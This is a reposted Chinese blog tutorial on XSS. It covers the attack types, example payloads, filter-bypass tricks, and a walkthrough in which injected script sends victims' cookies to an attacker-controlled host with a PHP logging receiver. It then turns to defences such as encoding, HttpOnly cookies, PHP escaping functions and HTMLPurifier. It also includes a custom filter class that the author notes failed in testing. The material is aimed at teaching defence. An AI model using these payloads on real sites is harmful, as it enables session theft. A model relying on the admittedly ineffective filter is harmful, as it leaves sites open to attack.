這個是寫的最全的,轉載自作者:那一葉隨風 http://www.cnblogs.com/phpstudy2015-6/
閱讀目錄
1、簡介
跨站腳本(cross site script)爲了避免與樣式css混淆,所以簡稱爲XSS。
XSS是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。那麼什麼是XSS呢?
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使別的用戶訪問都會執行相應的嵌入代碼。
從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
XSS攻擊的危害包括:
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
2、原因解析
主要原因:過於信任客戶端提交的數據!
解決辦法:不信任任何客戶端提交的數據,只要是客戶端提交的數據就應該先進行相應的過濾處理然後方可進行下一步的操作。
進一步分析細節:
客戶端提交的數據本來就是應用所需要的,但是惡意攻擊者利用網站對客戶端提交數據的信任,在數據中插入一些符號以及javascript代碼,那麼這些數據將會成爲應用代碼中的一部分了。那麼攻擊者就可以肆無忌憚地展開攻擊啦。
因此我們絕不可以信任任何客戶端提交的數據!!!
3、XSS攻擊分類
【瞭解即可,不必細究,XSS根源就是沒完全過濾客戶端提交的數據】
3.1、反射型xss攻擊
又稱爲非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點擊)。
簡單例子
正常發送消息:
http://www.test.com/message.php?send=Hello,World!
接收者將會接收信息並顯示Hello,Word
非正常發送消息:
http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!
接收者接收消息顯示的時候將會彈出警告窗口
3.2、存貯型xss攻擊
又稱爲持久型跨站點腳本,它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久性XSS攻擊危害性更大,因爲每當用戶打開頁面,查看內容時腳本將自動執行。谷歌的orkut曾經就遭受到XSS。
簡單例子:
從名字就可瞭解到存儲型XSS攻擊就是將攻擊代碼存入數據庫中,然後客戶端打開時就執行這些攻擊代碼。例如留言板
留言板表單中的表單域:<input type=“text” name=“content” value=“這裏是用戶填寫的數據”>
正常操作:
用戶是提交相應留言信息;將數據存儲到數據庫;其他用戶訪問留言板,應用去數據並顯示。
非正常操作:
攻擊者在value填寫<script>alert(‘foolish!’)</script>【或者html其他標籤(破壞樣式。。。)、一段攻擊型代碼】;
將數據存儲到數據庫中;
其他用戶取出數據顯示的時候,將會執行這些攻擊性代碼
PS:因爲大部分文章是保存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。
3.3、DOMBasedXSS(基於dom的跨站點腳本攻擊)
基於DOM的XSS有時也稱爲type0XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節點形成的XSS,稱之爲DOMBasedXSS。
前提是易受攻擊的網站有一個HTML頁面採用不安全的方式從document.location 或document.URL 或 document.referrer獲取數據(或者任何其他攻擊者可以修改的對象)。
簡單例子:
1 <HTML> 2 <TITLE>Welcome!</TITLE> 3 Hi 4 <SCRIPT> 5 var pos=document.URL.indexOf("name=")+5; 6 document.write(document.URL.substring(pos,document.URL.length)); 7 </SCRIPT> 8 <BR> 9 Welcome to our system 10 … 11 </HTML>
這個例子是個歡迎頁面,name是截取URL中get過來的name參數
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
將產生xss條件。讓我們看看爲什麼:受害者的瀏覽器接收到這個鏈接,發送HTTP請求到www.vulnerable.site並且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML爲DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充着當前頁面的URL。當解析器到達javascript代碼,它會執行它並且修改你的HTML頁面。倘若代碼中引用了document.URL,那麼,這部分字符串將會在解析時嵌入到HTML中,然後立即解析,同時,javascript代碼會找到(alert(…))並且在同一個頁面執行它,這就產生了xss的條件。
注意:
1. 惡意程序腳本在任何時候不會嵌入到處於自然狀態下的HTML頁面(這和其他種類的xss不太一樣)。
2.這個攻擊只有在瀏覽器沒有修改URL字符時起作用。 當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化爲%3C 和 %3E),因此在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,因此他很容易受到攻擊。
當然,直接嵌入到HTML只是攻擊的一個掛載點,有很多腳本不需要依賴<和>漏洞,因此Mozilla通常也是無法阻止這些攻擊的。
【這段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind】
4、XSS攻擊實例分析
例1、簡單XSS攻擊
留言類,簡單注入javascript
有個表單域:<input type=“text” name=“content” value=“這裏是用戶填寫的數據”>
1、假若用戶填寫數據爲:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
2、提交後將會彈出一個foolish警告窗口,接着將數據存入數據庫
3、等到別的客戶端請求這個留言的時候,將數據取出顯示留言時將執行攻擊代碼,將會顯示一個foolish警告窗口。
【將數據改成html標籤進行攻擊,則會將原本的樣式打亂。。。。。。。。】
或者:
屬性:
如果一個input的value屬性值是
琅琊榜" οnclick="javascript:alert('handsome boy')
就可能出現
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
點擊input導致攻擊腳本被執行,解決方式可以對script或者雙引號進行過濾。
0×04 過濾的解決辦法
假如說網站禁止過濾了script 這時該怎麼辦呢,記住一句話,這是我總結出來的“xss就是在頁面執行你想要的js”不用管那麼多,只要能運行我們的js就OK,比如用img標籤或者a標籤。我們可以這樣寫
<img scr=1 onerror=alert('xss')>當找不到圖片名爲1的文件時,執行alert('xss')
<a href=javascrip:alert('xss')>s</a> 點擊s時運行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的scr來彈窗
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>過濾了alert來執行彈窗
等等有很多的方法,不要把思想總侷限於一種上面,記住一句話“xss就是在頁面執行你想要的js”其他的管他去。(當然有的時候還有管他…)
例2、盜取cookie
1、網站所在域名爲www.test88.com、攻擊者控制的主機www.linuxtest.com
2、test88.com中的表單,xss.html
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title>xss攻擊</title> 5 <meta charset="utf-8"> 6 </head> 7 <body> 8 9 <form action="./test99.php" method="post"> 10 留言:<input type="text" name="content" value=""><br/> 11 <input type="submit" name="" value='提交'> 12 </form> 13 <br/>留言記錄:<br/> 14 </body> 15 </html>
3、惡意攻擊者插入相應代碼
1 <script> 2 var Str=document.cookie; //獲取cookie 3 var a =document.createElement('a'); //創建a標籤 4 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻擊者主機 5 a.innerHTML="<img src='./aa.jpg'>"; //掩護圖片 6 document.body.appendChild(a); //將標籤添加到頁面中 7 </script>
4、數據(攻擊代碼)插入數據庫
5、攻擊者控制的主機中設置接收盜取的cookie
1 <?php 2 header("content-type:text/html;charset=utf8"); 3 echo "你的PHPSESSID被盜啦"; 4 echo "<pre>"; 5 print_r($_GET); 6 echo "</pre>"; 7 $cookie=$_GET['PHPSESSID']; 8 file_put_contents('./xss.txt', $cookie); 9 ?>
開始模擬測試
1、test88.com中設置生成sessionID代碼
1 <?php 2 session_start(); 3 $_SESSION['xss']='xssssss'; 4 echo "<pre>"; 5 print_r($_SESSION); 6 echo "</pre>";die; 7 ?>
2、客戶端訪問上面代碼並生成自己的sessionID
3、客戶端訪問xss.html
#下面爲模擬被攻擊後取出數據的xss.html代碼(顯示數據)
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title>xss攻擊</title> 5 <meta charset="utf-8"> 6 </head> 7 <body> 8 <form action="./test99.php" method="post"> 9 留言:<input type="text" name="content" value=""><br/> 10 <input type="submit" name="" value='提交'> 11 </form> 12 <br/>留言記錄:<br/> 13 <script> 14 var Str=document.cookie; //獲取cookie 15 var a =document.createElement('a'); //創建a標籤 16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻擊者主機 17 a.innerHTML="<img src='./aa.jpg'>"; //掩護圖片 18 document.body.appendChild(a); //將標籤添加到頁面中 19 </script> 20 </body> 21 </html>
4、客戶端不小心點擊到圖片,sessionID將被盜
# vi xss.txt
【當然這僅僅只是一個很簡單的攻擊,只要將數據過濾就可以避免這個攻擊了,這裏只是讓大家瞭解XSS是如何進行攻擊的。】
5、XSS漏洞修復
從上面XSS實例以及之前文章的介紹我們知道XSS漏洞的起因就是沒有對用戶提交的數據進行嚴格的過濾處理。因此在思考解決XSS漏洞的時候,我們應該重點把握如何才能更好的將用戶提交的數據進行安全過濾。
5.1、html實體
什麼是html實體?
在html中有些字符,像(<)這類的,對HTML(標準通用標記語言下的一個應用)來說是有特殊意義的,所以這些字符是不允許在文本中使用的。要在HTML中顯示(<)這個字符,我們就必須使用實體字符。
html實體的存在是導致XSS漏洞的主要原因之一。
因此我們需要將這些實體全部轉換爲相應的實體編號。
顯示結果 | 描述 | 實體名稱 |
| 空格 | |
< | 小於號 | < |
> | 大於號 | > |
& | 和號 | & |
" | 引號 | " |
' | 撇號 | ' (IE不支持) |
5.2、HTML Encode
用戶將數據提交上來的時候進行HTML編碼,將相應的符號轉換爲實體名稱再進行下一步的處理。
在PHP中已經存在這樣子功能的函數,即是htmlentities($str)函數。
與之相反的就是html_entity_decode($str)函數,它將實體名稱轉換爲相應的符號。
5.3、修復漏洞方針
【不相應用戶提交的數據,過濾過濾過濾!】
1、將重要的cookie標記爲http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
2、表單數據規定值的類型,例如:年齡應爲只能爲int、name只能爲字母數字組合。。。。
4、對數據進行Html Encode 處理
5、過濾或移除特殊的Html標籤, 例如: <script>, <iframe> , < for <, > for >, " for
6、過濾JavaScript 事件的標籤。例如 "οnclick=", "onfocus" 等等。
1. 前端在顯示服務端數據時候,不僅是標籤內容需要過濾、轉義,就連屬性值也都可能需要。
2. 後端接收請求時,驗證請求是否爲攻擊請求,攻擊則屏蔽。
永遠不可能完美防禦,但至少可以擋住99%(剩下的1%纔是最兇猛的~~~),目前的統一做法是,做好輸入檢查,良好的編程意識,安全轉義,藉助第三方安全庫。不要信任輸入。也不要信任輸出。
【特別注意:】
在有些應用中是允許html標籤出現的,甚至是javascript代碼出現。因此我們在過濾數據的時候需要仔細分析哪些數據是有特殊要求(例如輸出需要html代碼、javascript代碼拼接、或者此表單直接允許使用等等),然後區別處理!
5.4、PHP中的相應函數
【詳細看PHP手冊】
這裏可能不全,想了解更多的看手冊。
strip_tags($str, [允許標籤]) #從字符串中去除 HTML 和 PHP 標記
htmlentities($str)函數 #轉義html實體
html_entity_decode($str)函數 #反轉義html實體
addcslashes($str, ‘字符’)函數 #給某些字符加上反斜槓
stripcslashes($str)函數 #去掉反斜槓
addslashes ($str )函數 #單引號、雙引號、反斜線與 NULL加反斜槓
stripslashes($str)函數 #去掉反斜槓
htmlspecialchars() #特殊字符轉換爲HTML實體
htmlspecialchars_decode() #將特殊的 HTML 實體轉換回普通字符
5.5、數據過濾類
經測試,未達到刪除js代碼的目的;
)1 <?php 經測試,未達到刪除js代碼的目的; 2 class XSS 3 { 4 /** 5 * @desc 過濾數據 6 * 7 * @param $data string|array 輸入數據 8 * @param $low bool 是否採用更爲嚴格的過濾 9 * 10 * @return 返回過濾的數據 11 */ 12 public function clean_xss($data, $low = False) 13 { 14 #字符串過濾 15 if (! is_array ( $data )) 16 { 17 $data = trim ( $data ); #字符兩邊的處理 18 $data = strip_tags ( $data ); #從字符串中去除 HTML 和 PHP 標記 19 $data = htmlspecialchars ( $data ); #特殊字符轉換爲HTML實體 20 if ($low) 21 { 22 return $data; 23 } 24 #匹配換空格 25 $data = str_replace ( array ('"', "\\", "'", "/", "..", "../", "./", "//" ), '', $data ); 26 $no = '/%0[0-8bcef]/'; 27 $data = preg_replace ( $no, '', $data ); 28 $no = '/%1[0-9a-f]/'; 29 $data = preg_replace ( $no, '', $data ); 30 $no = '/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S'; 31 $data = preg_replace ( $no, '', $data ); 32 return $data; 33 } 34 #數組過濾 35 $arr=array(); 36 foreach ($data as $k => $v) 37 { 38 $temp=$this->clean_xss($v); 39 $arr[$k]=$temp; 40 } 41 return $arr; 42 } 43 44 45 } 46 #測試測試 47 session_start(); 48 $_SESSION['xss']='xssss'; 49 $xss=new XSS(); 50 #測試字符串 51 $str = "<script>alert(document.cookie)</script>"; 52 echo $str; 53 $str2=$xss->clean_xss($str); 54 echo $str2; 55 echo "<hr/>"; 56 #測試數組 57 $arr=array("<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>"); 58 echo "<pre>"; 59 print_r($arr); 60 echo "</pre>"; 61 $arr2=$xss->clean_xss($arr); 62 echo "<pre>"; 63 print_r($arr2); 64 echo "</pre>";die; 65 ?>
(以上是自己的一些見解與總結,若有不足或者錯誤的地方請各位指出)
作者:那一葉隨風 http://www.cnblogs.com/phpstudy2015-6/
聲明:以上只代表本人在工作學習中某一時間內總結的觀點或結論。轉載時請在文章頁面明顯位置給出原文鏈接
因此重新查看網上文章,發現使用HTMLPurifier這個插件
<?php header('content-type:text/html;charset=utf-8'); require_once 'D:\phpStudy\WWW\htmlpurifier-4.10.0\library\HTMLPurifier.auto.php'; //require_once 'D:\phpStudy\WWW\htmlpurifier-4.10.0\library\HTMLPurifier.includes.php'; //require_once 'D:\phpStudy\WWW\htmlpurifier-4.10.0\library\HTMLPurifier.autoload.php'; class Resume_HtmlPurifier{ protected $_htmlPurifier = null; public function __construct($options = null) { $config = HTMLPurifier_Config::createDefault(); // $config->set('Code.Encoding', 'UTF-8');//這個無法設置,只能通過文件頭部設置字符編碼 $config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); if(!is_null($options)){ foreach($options as $option){ $config->set($option[0], $option[1], $option[2]); } } $this->_htmlPurifier = new HTMLPurifier($config); } public function filter($value) { return $this->_htmlPurifier->purify($value); } }
$conf = array( array('HTML.AllowedElements', array( 'div' => true, 'table' => true, 'tr' => true, 'td' => true, 'br' => true, 'font' => true, 'h2' => true, ), false), //允許屬性 div table tr td br元素 array('HTML.AllowedAttributes', array('class' => TRUE), false), //允許屬性 class array('Attr.ForbiddenClasses', array('resume_p' => TRUE), false), //禁止classes如 array('AutoFormat.RemoveEmpty', true, false), //去空格 array('AutoFormat.RemoveEmpty.RemoveNbsp', true, false), //去nbsp array('URI.Disable', true, false), ); $html = "<h2>hello world,i am fine,可以寫中文嗎<script>alert(document.cookie)</script></h2>"; $p = new Resume_HtmlPurifier($conf);//可以自己設置屬性,也可以不設置屬性,使用默認值 $puri_html = $p->filter($html); echo $puri_html;